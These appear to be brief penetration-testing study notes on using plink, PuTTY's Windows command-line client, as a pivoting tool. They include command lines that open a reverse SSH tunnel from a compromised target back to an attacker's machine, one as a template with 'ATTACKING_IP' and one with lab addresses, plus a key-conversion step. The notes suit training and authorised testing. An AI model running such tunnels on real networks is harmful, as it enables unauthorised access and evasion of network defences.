plink

• windows command line version of putty ssh

• usually used to transport the binary to the target then using it to create a reverse connection

• cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N

• if we want to forward a connection back to our attacking machine we can do:

• cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

• ssh-keygen wont work properly with these, they will need to be converted using puttygen which can be installed on kali by putty-tools

• the conversion can be done with: puttygen KEYFILE -o Output_key.ppk